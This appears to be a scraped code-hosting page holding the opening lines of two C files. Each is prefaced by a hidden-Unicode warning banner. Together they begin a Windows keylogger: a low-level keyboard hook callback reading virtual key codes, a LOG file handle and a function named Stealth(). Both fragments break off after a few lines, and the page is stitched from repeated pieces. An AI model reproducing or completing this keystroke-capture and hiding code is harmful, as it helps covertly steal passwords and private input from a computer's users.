This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <windows.h> | |
| LRESULT CALLBACK KeyboardHook(int nCode, WPARAM wParam, LPARAM lParam) { | |
| static int last; | |
| BOOL letter = 1; | |
| if(nCode == HC_ACTION) { | |
| if(wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) { | |
| PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam; | |
| int code = p->vkCode; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <windows.h> | |
| #include <winuser.h> | |
| HHOOK hook; | |
| LPMSG msg; | |
| FILE *LOG; | |
| void Stealth() | |
| { |